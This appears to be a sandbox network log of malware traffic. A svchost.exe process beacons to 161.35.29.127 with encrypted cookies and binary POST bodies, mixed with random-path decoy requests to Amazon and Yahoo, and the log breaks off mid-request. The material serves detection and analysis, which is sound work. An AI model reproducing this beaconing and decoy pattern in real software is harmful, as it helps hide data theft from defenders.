U]o6+,Yt=l{"(.W]}n"u=Pa9n{]1+:`Ch[`^kz<{VJZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<^<GjvOhu

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.3	49884	161.35.29.127	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:53:42 UTC	889	OUT	POST /feed/news/last HTTP/1.1 Cookie: HSID=hiAz8g6LbIdSvv4sBO2KtcALiVs4MartZJgO7N8EmhY6u0QD4tosFEPzutTBFWI1PegFNXWDpy%2FZOsabxqDNtKJxT9WDwC%2FhlGAsMy6fyzaI9qfIkiig%2FaXbbiMVb6qWxVzxvBzbt6QMDD45W8NP6ApXe%2BLI2i0R200%2BU5WdeixqWAaUfn6NSTrYRNnZ5Ll5jbhMxwiXenAPTT%2BNsTm4soYGMs2DuCe30SYShpEUuwtH24kSyOxMztE3W3mKCiLhWTJ9%2Bi4o%2FkAaDpotwTLERBog8WnvBWAYYl9JljdwT8KLitp9tKnMO6LfKepW%2B5cZozLB6As41sOIgXjaucmdbA%3D%3D;SIDCC=ZN9q7izawlPvjlvsBJq13MckR%2B77eU9f%2BGdqThwezJ0VVCcIWQPzBquZLY7jzOnI%2BYMkru7PAJSBP3qE5O5VU2sVmuErfHzPQJxNTpvsBzF9hF734dmw04jkFSTySjyZ6jBC%2FRVF6P%2FfY6%2BoFvsl8uaHHXXQFEB%2F9StiXd8Z%2FV6dV9xD99u1JHCjCtSYksS%2BRMJ%2BgUTU03qfoh6gAv98c7Mu19iJYDHHVLP0%2B2dSqvi1mKU8eUcnaoml1B6uRNTqJZR34IezjbnK4WuwLSHTRrGg43SJX2OmQAOwTxZIERbIiXx6STiICg7j%2BgMZO0R%2B1y04YibZQVPJ2UDGtzxntQ%3D%3D;SID=evzizRGcdhxAPN1fEMk5c4jzmxz4q3GfFnlksswJFAwffcyJU%2FLB6fvsHs37sytOlqfZtag7Lpzx0yX8zw0arQIh5NA4Q9o3MDW3tgAjhoZy01X7cEUSOlqi6BPgiZjbThFHrdfwWzQcq%2BYfvx5bJjKQFOnaFd5mn4CE%2BD72w%2Fs6lFxGFjfuTSOB1wVlNvEtzDE%2BFK8eB9agw6v7Z9jyux4XWojqVnnmmzJWcrZV0lPylxgdBIyI4AXgbop%2BVscKD4SLSriWVK2VlG2sYMEfVkDB4%2Beesx%2BzcjCXg2X2Qi49KymHjaG4JjGKy8VojPhQ9EDNMK1zq4LO%2Fuzn%2BBlbsg%3D%3D;SSID=sfU1T%2BGGLeUGPcGsnPwphxItSfNReaNLg37F17s3X1yLIAVH4nezcLqrhu2D2evSCLYfF0pXGSbbZ6%2BwdrFLocPoYUN60LqL45fgAZE%2BtE8YftbW2qwOSc4uX1BGzE05BjryX5wimQiVyYa2WVSbtHOm%2Bn10dkdezgicJ3IevDaDgndILU6Z4%2Bo4FSYjv3T34UhcwtkskfakVbK77wTru2DVt4B4o%2FU3cFaevD5kH2dh%2FBmhcSuiqkS3b36cL0%2FLIRHJQ3cuv%2Frq1sjgfDuCYc5vWhzvLVnoJGq5fyzrVzrNnxIvZE3nga4bD7labz8VVmiLW%2BF7wZfWFolExc3tgg%3D%3D; X-Tag: 3ZUkYkrGJqKXYjTMaF0kjnr2ogho%2BrW8bjhxtcnnv5JA%2FXVI10wEU3xy3o7bpvvtB2T4JE9%2Ft3h0qOf%2BMFAI3%2FVNCCZdy4jM9Tal7o8muVis5s1mPvWZeMjmRv5CKzflvRNUtJJGsgFbAOCnp6qPfICszBcuU1qKqYhfZqTQs5YFrOFUGoNSFAQM54fkJuZ2%2Bt06txRNjucznQG9Km2wMVxEESaNE%2BiWk6AdNnc3SQily%2FSfW%2BgV99erzCSEwtfACwSirfCaZ3%2FUSZu4oxZgWaiyKJeJaMKecKC3mtBT6ZjES0VfGOJN1WZyfhWhjdWBuqaBKrUyGIV34jp99djNgw%3D%3D X-Csrf-Token: lBwqxQcCmS3iG9HH7MCNXMQ3u2cO0OQidrttSrQUAwTss5c9GFw6Sfawa6WFyzx0basD861%2Ba07Q8pjQgWFr8BsFpW%2Bw5cwHo3c4QeTThy8irfq2ZXlYt4rx8ABvSOhVBXCBmMcKWeUmPWXije92eswvoGb4JIjBJV6EIIBjhohu%2FqRA%2FTtGPkzRG6JMvwAFHau3ENXa8yuUTlqRj7StOf%2Fg1qNZ6zKyDdWTccmde4uqJEWd7iwLqXusHP%2ByqdqS8kqVVL%2FIwcksQ1l1RADz57VeM4AJ23U5aNqRI8jf2Xr3wKv7WpNI0l5rOU6GrCB%2FMppMx1VlFamQQtwO0%2FlW9Q%3D%3D X-Request-ID: 11%2BDcYXW5sExWkVL9xD%2Bylpvq3AEJa4QeiVzs4dtG39Ej%2FvL9ucADWr4FRZ68UP%2BSgsZurQIj4eY2km6995OS5obfNcM6CpLq9%2FvPTb99Nu89HiaEDTBxZUZ6mWwSXzCKZKodY6ggapowGA1txXZ%2BFSRfDFDlIT5MdPKNbsZNLAKQWY4UGeLvYd7tU9%2B1rxjpsdp2EjALNUU5K6QctzeUcIhfe8fsEYJLs%2Fyf3p0AtgklTb0CKpngnu%2FBW0RnrJs23tbsXETKcLLH8S6io%2FSDs0YYQsMSrYqvjRK2McQK1S6IcAH3YtjsUWOv9Qp%2FTWXcOPOVCTu255gm%2F%2Bsm02%2FiQ%3D%3D User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 161.35.29.127 Content-Length: 256 Cache-Control: no-cache
2021-09-28 07:53:42 UTC	892	OUT	Data Raw: 3e 6f 18 1f 17 d1 e8 a2 9d 74 f4 e2 27 66 99 94 9a e8 02 e2 61 dd 05 8b 73 1a 31 ce 35 e5 94 f7 7c 5d 6a 78 7d 24 55 2f fe 8d d8 8f b6 29 df 36 55 f1 01 31 85 e0 d2 c1 bd 9d 22 2d bf 39 b6 bb 65 37 81 25 ce 56 1e 58 99 79 39 ef 58 40 e6 9e 64 e8 47 18 58 d3 c7 93 e8 1e cf f2 3e fa 35 33 4c 39 f8 5d 49 61 96 56 d8 dc 7f 1f d4 7f ee b4 d9 e0 ee a6 a8 29 11 d7 b4 27 98 50 a2 e6 55 44 6d f0 12 8f 12 ec e7 03 9d e5 69 ca c3 b6 a4 a2 35 2c 1b 7d 57 df 2a 08 19 9c 92 65 6d c7 4a f6 a5 8f e4 1e b6 82 2c d5 94 0c 45 58 e0 6a 07 99 03 6c 93 85 27 ce 53 eb 0e b4 8e 4e e9 81 9c db 10 05 49 03 5a a1 b1 9e 85 d5 f2 17 ba 01 fd 0c 3a 52 b9 18 99 92 a9 29 11 d2 6b 09 23 01 97 26 24 7a d1 91 73 ae 9d 0a 23 53 55 39 1f a2 26 93 41 ce 0c dc 50 cd b0 84 f7 1d aa db 47 1b bd Data Ascii: >ot'fas15\|]jx}$U/)6U1"-9e7%VXy9X@dGX>53L9]IaV)'PUDmi5,}W*emJ,EXjl'SNIZ:R)k#&$zs#SU9&APG
2021-09-28 07:53:44 UTC	892	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Content-Type: text/html; charset=UTF-8 Connection: close Date: Tue, 28 Sep 2021 07:53:44 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.3	50040	161.35.29.127	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:27 UTC	1068	OUT	GET /feed/news/last HTTP/1.1 Cookie: HSID=EzgzAfMqZKYbr5VdoRwymiw%2FNBZpu3g6Gvec3X7byc8aHTWvI2H%2Bf9xf991VIiXOFsab5RCOw%2BKTCNv41Rf%2FRiie6JtwnO4N9244bJ8yqaq9Xuoflv86TLhmKCh2N8nUZOuNm%2FwWgsSKlW1ezvHiqX4LbxzBSozEDOdqshe%2Bt2M%2BY7%2FlkyGHqIxQKSIMRq5nNm08Z%2F6rrqZS%2BNUiLB4bYfrOoG%2FJbl0evDD7YzOHPs0A4rXuu5YLxwCPb4YR4FnXn72RrTCCOSuZBkoNfz3yQ%2FOi0aOwd7cmJaNBo63scfa3ZJT8CMx7Ez9u3G38CC31GNSoxN3vnZUMEyKz5Lo8AA%3D%3D;SIDCC=%2BufYfThO4wCmVHh5IAT%2Bi1UwojOtrqrMWpjRLovVbjPHkAECi6XQae%2B5iSRpKs76aZTVrBIbmanckmyE5mNySF8Qvz4nIcr4rsEp%2BVG7qTm1AN%2F%2BCBQM3wVRacfDhlUwAp5Pi1nIn8E%2FgrNKa3zVc1Fcp8GuFx8%2B0bhSthcgKd9s7RWvqrwErj8nx%2FVhQug8FxIu5D66BFpM0tjBIj3l0KZvK%2BXzZIOV56gMblg0x3jZbhEWB8gWn%2FtDsw0Q03uMa0gH6tOLOUN3OGpfj%2B2aYcEbnjwH6ykF0b052WaLGWTye2FDROhhFcgHOMF645JIzIDbx7gCJL0XbrHF03UVpg%3D%3D;SID=yRCpQuxMv1jFl7EFAIKloxx4LsprVj5yCfOtQGBmSG%2Bx%2F4ejKLLq07xFqB2gVSNEdIFT%2BfU2Q8a2IJfXa3%2B%2BjTJ6%2BFJKuNPCI0qpmKEssuAAb0J4M0JtQ%2B0yRGn%2BB6zKRHo0gJs2fm%2BaOUo3UPDBJFw%2BV9bZ%2F2OCnNOw0cQLYCGIzgfetSVgmDb5BXqrnV8QhPPyyG%2F%2FDqxtbAFjjcl8pkqSnz1Ae880ZsPLtAplC8NozhgmeRAmaDn3sX%2BBHyb%2B99%2Fjf6NluPff7zRUaiUfqAXaQ%2FAcwBsJseY6z7EoAN7fyZUzEJ9%2BIRiVJPOSMqWwipTTLl9cL09vil2Sj9Z81g%3D%3D;SSID=IDKMuWe%2BPcm%2F%2BncSPrrVqbR38ixAVK96x6mLE9NDEZ1wTTgc8r0WH%2FNlsEe6eFErKb97yKuLTr0uvbnBvpyuaxW8kkxNTMNBTFqq5dp%2BgkmCfUTraYGbemZ00MGhfBhdesQK%2BXDF%2FSPxNSy4uJz2BcETV8krYJGseFSopCUNl2ADyxwaWH%2FGdTKaJU8MWTKe7LOIT5SMqqg803UBxIqpE2mndU4l%2FRqYfMMHqjeteRws5SAp5rf09VLxue1jQ1p4ZM11PC8WiLrRCCYD4wShTkcjsE%2FcGuF0tbT8gPzE%2F%2BOFaR52jShibbfQPsNnY5jrCL1eXnSfdsxUmG1qnQuuQw%3D%3D; X-Tag: mf9iuNVA%2FQFBGj8nDyjObokp34sENOv%2B%2FsCMtMYnt%2F2A4szVVePt2B6WCpqTEpyT1ziV11y5TOeNzohLj3XS%2BTHZkGCu06K9qBBBYMnoV9rlDpswbEEwBGCEJl1%2B35hgEMw5%2FLsEVtUVMmH4pOo%2BuQXc0B3xbsMmT4v1DFrSfF6wQszeskRC9QQl5fp%2B3tQKgfTandgCpZ%2Ba6gh4nRDu31Jq9L0RHLzbxxJ6TbKApKL21UPHQqNyn41gIvFd6LMz8W7s38Iz98%2FDNrtZakfPiyXcf%2BWPeId3r1t3jziVB1GiNMP64tR3FtLVn%2BlgKa9r0bSjxiscVmDDA1Rw9lUW2Q%3D%3D X-Csrf-Token: wqP3DtPg7g7Ju%2BZNRSWtAuUYE2nUP7uV2fZrO8CCW7eazWz2t0xcdRpYkbpx7NrCV92Z73rYbc%2FtlcKfnF54C8aLNEH5ImMvbAzOXgnsHTDu2JtQ7NvkKPO0Q9STBRbCh7HKSWziaxzXQGbyUujirb9Xmkl5tIf1J7S7w8Jbo%2BGJWrmc%2BsERDHIEB26f2HhhCKiEdALpxoFYsF0JUFkfjW8NvkxiyHBwg3AA0Mvivu1Xz1SJEiHCgohHqF0RZqGToPl0FV%2B9NGWFK4L1aIA0VLsu%2BGW31RZIL7YDHPGtDobqLKqhAfNJpcpqPOODjWlUxV3UvKUgCYXP2qdO%2FS712g%3D%3D X-Request-ID: R2uCdhO4DIUh1v0kdIi47jkknWRk5476qNzb%2FfX6DuSgg578AEixDFMR0rB%2FVXar5dHD%2FnjvLnCU%2B9Q0clpD1xzkq1qjLf9VebuimyrqRv5uNBWkuhEYsR9VYLpKgXZyuwZBUyN5VvdpjhEecrIhhg9EvMM6NA1yQqZtyLL8d3SAk6L6l3W%2FCYey7PYECQmrAciMLdrKslue8aSx4QJ39Hv4SFzoENI5nSmLeeSxn0%2FKeV9QCwt16KuMzRHWEZy4%2BrPb2xP9LVEL62YC4OO1ErahYLYZDv2FKZfs2%2BmE%2FGW898mp4jvaWuDSSFT5J53xGlBBShnkv4HT0zsWWP8q8g%3D%3D User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 161.35.29.127
2021-09-28 07:54:29 UTC	1076	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Content-Type: text/html; charset=UTF-8 Content-Length: 2 Connection: close Date: Tue, 28 Sep 2021 07:54:29 GMT Set-Cookie: SVALUE=2NreYzXG7EkLxVbxVJNeQmcpSo9z1DB1EynlzgHPcjDIKARoMdB3vejHsO4VMnDFJuiM5LKElkaB4tX9JGL4nQXxjsAhmG8aZkG9Tcx215XSDfJqX25JNm9jYN0we5pbzPbUqvUTAuAcihfDoADUTYEcPM5Wrvei280XRFdm3kWY1yruk2m5iYmTjparzUcuY9FUjO3zXqTjqxQ5ONE5GLVXuJi8hriP941gK3prrCzdJW5BXShZ9K5YXcj2mgkQ Set-Cookie: actual=cAbVLVCPROx%2BvDtGFq8yP3AnG%2BDGDBoWsaqckG6l6NHqhqlhDGC%2FQrq2QrkvUWA7oRWgT9f3YPD8bDvB3ZR2wJ2R9lMgyBrUBzPsaC5CJrew%2FVNGoPKqWXvh1TLVwEu5h0AzVAxHYi%2F7DrF5Jg9U4Ia4AjI0Rs5rbPqN5C4zkj1TJ0PXmRCZ76Q1QqU1qpvQyUtzIHC580qnvFAJL%2FiZLQPdpSX4sdadwdWiVjBUX0coztFnZ9vmrarLOOtqfX1gsYQVKMw7ljBFO13SR%2Fw7qjldGqO2yNiBg5aZN%2BDWtVOLddcnBk4Ha1jEuTjcrqFekKu8750qG2I14fADJID0rQ%3D%3D Set-Cookie: query4=780395 Set-Cookie: bdata=IC201C2ULNDvnrzgSFlCrawhJ9J7wzcLpTiPHsmm7PRoqGKOKKqM279Rp7DSjlVQCIXnjvs10FG5lgLqQIxGYwqrjmGa5J8UAKMK9dQvXTCx0SzMbZgE0QpNpMugPGLmJM6CIXFS9efsdhZrAdt8ZIRMxJZyYqbnEmgibcSyD8wc2bRG4qgURnW3s4IlCLDzZCsZusJ4jkxBN7XeexI7zzgXby8XB2R4cmElgTEsnXehZXZWjrO4lQGfJIZRkrwn X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block
2021-09-28 07:54:29 UTC	1078	IN	Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.3	50041	162.219.225.118	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:27 UTC	1071	OUT	GET /n5d35x62wrKVqpbTbsyV7bDux5zg462fhuulkey7Ny/nu4qWV5IvP2p22Yeb6iWmf1fm4poc0dpToemhbsoKc4K87/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.amazon.com Connection: Keep-Alive
2021-09-28 07:54:27 UTC	1071	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 897 server: Server date: Tue, 28 Sep 2021 07:54:27 GMT content-type: text/html permissions-policy: interest-cohort=() x-amz-rid: TA2Z3B0Y0J6WYP2E4ZGF x-sdch-encode: 0 last-modified: Tue, 10 Aug 2021 22:12:21 GMT etag: "687-5c93bcbae3b40-gzip" accept-ranges: bytes content-encoding: gzip vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-Agent strict-transport-security: max-age=47474747; includeSubDomains; preload x-frame-options: SAMEORIGIN
2021-09-28 07:54:27 UTC	1072	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 0e f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6c 18 d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d f7 1c f2 50 e5 1b 61 39 6e 1d 90 0e 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 0e d1 c5 f0 df a0 d6 15 dd c4 03 8b b9 ed 1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 0c eb a1 a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9 15 51 46 a1 62 3a 0e 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 c5 9a 25 b7 3d f9 93 49 20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d f5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb 05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd Data Ascii: U]o6+,Yt=l{"(.W]}n"u=Pa9n{]1+:`Ch[`^kz<{VJZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<^<GjvOhu

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.3	50043	162.219.225.118	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:28 UTC	1073	OUT	GET /6u0kzsl7ryto97pk2xdn8o5s6ogbkqVFQ2Kv8K0Cw5ij/HYbuzkotCBtgM8H04tZ9djci5vofm01yh/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.amazon.com Connection: Keep-Alive
2021-09-28 07:54:28 UTC	1073	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 897 server: Server date: Tue, 28 Sep 2021 07:54:28 GMT content-type: text/html permissions-policy: interest-cohort=() x-amz-rid: 536SSX8NQ0R50ASGH55Q x-sdch-encode: 0 last-modified: Tue, 10 Aug 2021 22:12:21 GMT etag: "687-5c93bcbae3b40-gzip" accept-ranges: bytes content-encoding: gzip vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-Agent strict-transport-security: max-age=47474747; includeSubDomains; preload x-frame-options: SAMEORIGIN
2021-09-28 07:54:28 UTC	1073	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 0e f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6c 18 d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d f7 1c f2 50 e5 1b 61 39 6e 1d 90 0e 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 0e d1 c5 f0 df a0 d6 15 dd c4 03 8b b9 ed 1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 0c eb a1 a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9 15 51 46 a1 62 3a 0e 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 c5 9a 25 b7 3d f9 93 49 20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d f5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb 05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd Data Ascii: U]o6+,Yt=l{"(.W]}n"u=Pa9n{]1+:`Ch[`^kz<{VJZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<^<GjvOhu

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.3	50044	162.219.225.118	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:28 UTC	1074	OUT	GET /kt8rj5729zg8dcKdUobze7/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.amazon.com Connection: Keep-Alive
2021-09-28 07:54:28 UTC	1075	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 897 server: Server date: Tue, 28 Sep 2021 07:54:28 GMT content-type: text/html permissions-policy: interest-cohort=() x-amz-rid: 9VJ3CJZF1FJFSM5RQQT6 x-sdch-encode: 0 last-modified: Tue, 10 Aug 2021 22:12:21 GMT etag: "687-5c93bcbae3b40-gzip" accept-ranges: bytes content-encoding: gzip vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-Agent strict-transport-security: max-age=47474747; includeSubDomains; preload x-frame-options: SAMEORIGIN
2021-09-28 07:54:28 UTC	1075	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 0e f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6c 18 d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d f7 1c f2 50 e5 1b 61 39 6e 1d 90 0e 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 0e d1 c5 f0 df a0 d6 15 dd c4 03 8b b9 ed 1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 0c eb a1 a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9 15 51 46 a1 62 3a 0e 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 c5 9a 25 b7 3d f9 93 49 20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d f5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb 05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd Data Ascii: U]o6+,Yt=l{"(.W]}n"u=Pa9n{]1+:`Ch[`^kz<{VJZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<^<GjvOhu

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.3	50045	87.248.100.216	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:29 UTC	1076	OUT	GET /fbxa75FaGsf4japtkVc63l567ux59Tmg9gGVZdkq4b4mpvva/aaiQlj7pvwbqosjizkzMdMO36pfgo5Reqy6qmchRDby/jwaicOa1fpr4i1uVc4fhoLcqe48iZ44kzekpQk/t4yh55adnnybrolX6mcjho9vOb8q6evq6bqh6hs1hsadn4C/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.yahoo.com Connection: Keep-Alive Cookie: B=clggcmtgl5iga&b=3&s=a5
2021-09-28 07:54:29 UTC	1078	IN	HTTP/1.1 404 Not Found date: Tue, 28 Sep 2021 07:54:29 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: private x-content-type-options: nosniff content-type: text/html; charset=UTF-8 x-envoy-upstream-service-time: 10 server: ATS Content-Length: 936 Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com https://.verizonmedia.com https://.publishing.oath.com https://.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=46r9oltgl5ihl&partner=; X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block
2021-09-28 07:54:29 UTC	1079	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6c 67 67 63 6d 74 67 6c 35 69 67 61 26 62 3d 33 26 73 3d 61 35 3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 34 3a 32 39 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 6e 6f 2d 72 65 66 Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:54:29 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"Referrer-Policy: no-ref
2021-09-28 07:54:29 UTC	1079	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70 74 3e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26 65 72 72 5f 75 72 6c 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 66 62 78 61 37 35 46 61 47 73 66 34 6a 61 70 74 6b 56 63 36 33 6c 35 36 37 75 78 35 39 54 6d 67 39 67 47 56 5a 64 6b 71 34 62 34 6d 70 76 76 61 25 32 66 61 61 69 51 6c 6a 37 70 76 77 62 71 6f 73 6a 69 7a 6b 7a 4d 64 4d 4f 33 36 70 66 67 6f 35 52 65 71 79 36 71 6d 63 68 52 44 62 79 25 32 66 6a 77 61 69 63 4f 61 31 66 70 72 34 69 31 75 56 63 34 66 68 6f 4c 63 71 65 34 38 69 5a 34 34 6b 7a 65 6b 70 51 6b 25 32 66 74 34 Data Ascii: <html><meta charset='utf-8'><script>var u='https://www.yahoo.com/?err=404&err_url=https%3a%2f%2fwww.yahoo.com%2ffbxa75FaGsf4japtkVc63l567ux59Tmg9gGVZdkq4b4mpvva%2faaiQlj7pvwbqosjizkzMdMO36pfgo5Reqy6qmchRDby%2fjwaicOa1fpr4i1uVc4fhoLcqe48iZ44kzekpQk%2ft4

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.3	50047	161.35.29.127	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:29 UTC	1080	OUT	POST /feed/news/last HTTP/1.1 Content-Type: application/octet-stream Cookie: 